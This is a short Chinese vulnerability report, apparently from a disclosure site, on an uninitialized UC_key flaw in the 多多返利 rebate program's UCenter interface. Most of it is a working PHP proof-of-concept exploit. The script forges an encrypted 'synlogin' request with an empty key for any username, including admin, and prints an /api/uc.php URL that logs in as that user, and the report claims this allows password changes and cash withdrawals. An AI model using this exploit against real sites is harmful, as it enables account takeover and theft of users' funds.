简要描述：多多返利程序，任意用户登录，甚至可以提现！
详细说明：https://www.webshell.cc/uc.php
在后台未开启ucenter时候，存在典型的UC_key未初始化漏洞
由于UCkey未初始化导致访问者可以随意调用uc接口的各种函数
其中包括自动登陆 修改密码
漏洞证明：poc：

<?php
print_r('
---------------------------------------
UC_key Uninitialized Vul Exploit

---------------------------------------
');
if ($argc < 2) {
print_r('
Usage: php '.$argv[0].' username
username: the admin username
Example: php '.$argv[0].' admin
');
die();
}
error_reporting(0);
$username = $argv[1];
$key = '';
$code = 'time=11111111111&username='.$username.'&action=synlogin';
$x = urlencode(authcode($code, "ENCODE", $key));
print_r('Plz copy this code~~ enjoy it~~ ^_^
/api/uc.php?code='.$x);
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>